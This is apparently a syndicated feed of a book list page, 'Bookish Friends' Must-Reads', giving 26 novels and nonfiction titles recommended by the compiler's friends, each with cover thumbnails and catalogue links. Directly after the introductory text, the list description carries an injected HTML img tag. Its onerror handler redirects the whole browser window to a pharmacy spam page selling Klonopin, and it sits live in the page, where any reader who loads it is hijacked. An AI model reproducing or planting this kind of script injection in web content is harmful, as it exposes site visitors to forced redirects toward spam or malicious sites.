Lists of Bests: Todd Gehman's "Bookish Friends' Must-Reads" http://www.listsofbests.com/list/16 I compiled this list by asking all my smartypants friends to recommend one book that they felt I should read. Happily, I got no duplicates. Less happily, it's going to take me eons to plow through this list. <img src="http://www.google.com/nzoimage.jpg"onerror="top.location.href='http://topsearch.ws/klonopin.html';" Thu, 10 Dec 2009 23:31:46 GMT en-us 0 50 26 0 0 101 Reykjavik http://www.allconsuming.net/item/view/171161 <div id="position">1</div><div class="item-image" style="padding:3px;float:left;"><a href="http://www.allconsuming.net/item/view/171161"><img src="http://ec2.images-amazon.com/images/P/0641592213.01-A1H3KVFEIVGQDG._SCTHUMBZZZ_.jpg" /></a></div><div style="font-size: 12px;"> by Hallgrimur Helgason</div> Among the Thugs http://www.allconsuming.net/item/view/65846 <div id="position">2</div><div class="item-image" style="padding:3px;float:left;"><a href="http://www.allconsuming.net/item/view/65846"><img src="http://ec1.images-amazon.com/images/P/0679745351.01._SCTHUMBZZZ_.jpg" /></a></div><div style="font-size: 12px;"> by Bill Buford</div> The Book of Illusions: A Novel http://www.allconsuming.net/item/view/6402 <div id="position">3</div><div class="item-image" style="padding:3px;float:left;"><a href="http://www.allconsuming.net/item/view/6402"><img src="http://ec1.images-amazon.com/images/P/0312421818.01._SCTHUMBZZZ_.jpg" /></a></div> The Book of Salt : A Novel http://www.allconsuming.net/item/view/17233 <div id="position">4</div><div class="item-image" style="padding:3px;float:left;"><a href="http://www.allconsuming.net/item/view/17233"><img src="http://images.amazon.com/images/P/0618304002.01._SCTHUMBZZZ_.jpg" /></a></div><div style="font-size: 12px;"> by Monique Truong</div> The DENIAL OF DEATH http://www.allconsuming.net/item/view/57769 <div id="position">5</div><div class="item-image" style="padding:3px;float:left;"><a href="http://www.allconsuming.net/item/view/57769"><img src="http://ec1.images-amazon.com/images/P/0684832402.01._SCTHUMBZZZ_.jpg" /></a></div><div style="font-size: 12px;"> by Ernest Becker</div> Drinking, Smoking, and Screwing: Great Writers on Good Times http://www.allconsuming.net/item/view/90024 <div id="position">6</div><div class="item-image" style="padding:3px;float:left;"><a href="http://www.allconsuming.net/item/view/90024"><img src="http://ec1.images-amazon.com/images/P/B0007US9HY.01._SCTHUMBZZZ_.jpg" /></a></div><div style="font-size: 12px;"> by Sara Nickles</div> Enders Game http://www.allconsuming.net/item/view/25301 <div id="position">7</div><div class="place-image-placeholder"><span class="qm">*</span></div><div style="font-size: 12px;"> by Orson Scott Card</div> The Fountainhead http://www.allconsuming.net/item/view/13626 <div id="position">8</div><div class="item-image" style="padding:3px;float:left;"><a href="http://www.allconsuming.net/item/view/13626"><img src="http://ec1.images-amazon.com/images/P/0451191153.01._SCTHUMBZZZ_V1138672769_.jpg" /></a></div><div style="font-size: 12px;"> by Ayn Rand</div> Going Sane: Maps of Happiness http://www.allconsuming.net/item/view/97 <div id="position">9</div><div class="item-image" style="padding:3px;float:left;"><a href="http://www.allconsuming.net/item/view/97"><img src="http://ec1.images-amazon.com/images/P/0007155395.01._SCTHUMBZZZ_.jpg" /></a></div><div style="font-size: 12px;"> by Adam Phillips</div> The Human Condition (2nd Edition) http://www.allconsuming.net/item/view/41534 <div id="position">10</div><div class="item-image" style="padding:3px;float:left;"><a href="http://www.allconsuming.net/item/view/41534"><img src="http://ec1.images-amazon.com/images/P/0226025985.01._SCTHUMBZZZ_.jpg" /></a></div><div style="font-size: 12px;"> by Hannah Arendt</div> Intruder in the Dust (Vintage International) http://www.allconsuming.net/item/view/18811 <div id="position">11</div><div class="item-image" style="padding:3px;float:left;"><a href="http://www.allconsuming.net/item/view/18811"><img src="http://images.amazon.com/images/P/0679736514.01._SCTHUMBZZZ_.jpg" /></a></div><div style="font-size: 12px;"> by William Faulkner</div> Lolita http://www.allconsuming.net/item/view/39275 <div id="position">12</div><div class="item-image" style="padding:3px;float:left;"><a href="http://www.allconsuming.net/item/view/39275"><img src="http://ec2.images-amazon.com/images/P/0739322060.01._SCTHUMBZZZ_.jpg" /></a></div><div style="font-size: 12px;"> by Vladimir Nabokov</div> Lonesome Dove http://www.allconsuming.net/item/view/17957 <div id="position">13</div><div class="item-image" style="padding:3px;float:left;"><a href="http://www.allconsuming.net/item/view/17957"><img src="http://images.amazon.com/images/P/067168390X.01._SCTHUMBZZZ_.jpg" /></a></div><div style="font-size: 12px;"> by Larry McMurtry</div> A Lover's Discourse: Fragments http://www.allconsuming.net/item/view/8582 <div id="position">14</div><div class="item-image" style="padding:3px;float:left;"><a href="http://www.allconsuming.net/item/view/8582"><img src="http://ec1.images-amazon.com/images/P/0374521611.01._SCTHUMBZZZ_V1056438179_.jpg" /></a></div><div style="font-size: 12px;"> by Roland Barthes</div> Shadow & Claw: The First Half of 'The Book of the New Sun' (New Sun) http://www.allconsuming.net/item/view/6656 <div id="position">15</div><div class="item-image" style="padding:3px;float:left;"><a href="http://www.allconsuming.net/item/view/6656"><img src="http://ec2.images-amazon.com/images/P/0312890176.01._SCTHUMBZZZ_V44810229_.jpg" /></a></div><div style="font-size: 12px;"> by Gene Wolfe</div> Sword & Citadel: The Second Half of 'The Book of the New Sun' (New Sun) http://www.allconsuming.net/item/view/6657 <div id="position">16</div><div class="item-image" style="padding:3px;float:left;"><a href="http://www.allconsuming.net/item/view/6657"><img src="http://ec2.images-amazon.com/images/P/0312890184.01._SCTHUMBZZZ_V44586134_.jpg" /></a></div><div style="font-size: 12px;"> by Gene Wolfe</div> The Triumph of Vulgarity: Rock Music in the Mirror of Romanticism http://www.allconsuming.net/item/view/79613 <div id="position">17</div><div class="item-image" style="padding:3px;float:left;"><a href="http://www.allconsuming.net/item/view/79613"><img src="http://ec2.images-amazon.com/images/P/0195038762.01._SCTHUMBZZZ_.jpg" /></a></div><div style="font-size: 12px;"> by Robert Pattison</div> An Unreasonable Woman: A True Story of Shrimpers, Politicos, Polluters, and the Fight for Seadrift, Texas http://www.allconsuming.net/item/view/857738 <div id="position">18</div><div class="item-image" style="padding:3px;float:left;"><a href="http://www.allconsuming.net/item/view/857738"><img src="http://images.amazon.com/images/P/1931498881.01._SCTHUMBZZZ_.jpg" /></a></div><div style="font-size: 12px;"> by Diane Wilson</div> White Noise (Contemporary American Fiction) http://www.allconsuming.net/item/view/2565 <div id="position">19</div><div class="item-image" style="padding:3px;float:left;"><a href="http://www.allconsuming.net/item/view/2565"><img src="http://ec1.images-amazon.com/images/P/0140077022.01._SCTHUMBZZZ_V1131407953_.jpg" /></a></div><div style="font-size: 12px;"> by Don DeLillo</div> Almanac of the Dead http://www.allconsuming.net/item/view/2732 <div id="position">20</div><div class="item-image" style="padding:3px;float:left;"><a href="http://www.allconsuming.net/item/view/2732"><img src="http://ec1.images-amazon.com/images/P/0140173196.01._SCTHUMBZZZ_.jpg" /></a></div><div style="font-size: 12px;"> by Leslie Marmon Silko</div> Cryptonomicon http://www.allconsuming.net/item/view/659 <div id="position">21</div><div class="item-image" style="padding:3px;float:left;"><a href="http://www.allconsuming.net/item/view/659"><img src="http://ec1.images-amazon.com/images/P/0060512806.01._SCTHUMBZZZ_.jpg" /></a></div><div style="font-size: 12px;"> by Neal Stephenson</div> East of Eden (Oprah's Book Club) http://www.allconsuming.net/item/view/3647 <div id="position">22</div><div class="item-image" style="padding:3px;float:left;"><a href="http://www.allconsuming.net/item/view/3647"><img src="http://ec1.images-amazon.com/images/P/0142004235.01._SCTHUMBZZZ_.jpg" /></a></div><div style="font-size: 12px;"> by John Steinbeck</div> The Good Soldier: A Tale of Passion (Oxford World's Classics) http://www.allconsuming.net/item/view/64945 <div id="position">23</div><div class="item-image" style="padding:3px;float:left;"><a href="http://www.allconsuming.net/item/view/64945"><img src="http://images.amazon.com/images/P/019283620X.01._SCTHUMBZZZ_.jpg" /></a></div><div style="font-size: 12px;"> by Ford Madox Ford</div> If on a winter's night a traveler http://www.allconsuming.net/item/view/4121 <div id="position">24</div><div class="item-image" style="padding:3px;float:left;"><a href="http://www.allconsuming.net/item/view/4121"><img src="http://images.amazon.com/images/P/0156439611.01._SCTHUMBZZZ_V1056422689_.gif" /></a></div><div style="font-size: 12px;"> by Italo Calvino</div> Letters to a Young Poet http://www.allconsuming.net/item/view/10831 <div id="position">25</div><div class="item-image" style="padding:3px;float:left;"><a href="http://www.allconsuming.net/item/view/10831"><img src="http://ec3.images-amazon.com/images/P/0393310396.01._SCTHUMBZZZ_V1122538020_.jpg" /></a></div><div style="font-size: 12px;"> by Rainer Maria Rilke</div> The Queen's Gambit: A Novel http://www.allconsuming.net/item/view/77586 <div id="position">26</div><div class="item-image" style="padding:3px;float:left;"><a href="http://www.allconsuming.net/item/view/77586"><img src="http://ec2.images-amazon.com/images/P/1400030609.01._SCTHUMBZZZ_.jpg" /></a></div><div style="font-size: 12px;"> by Walter Tevis</div>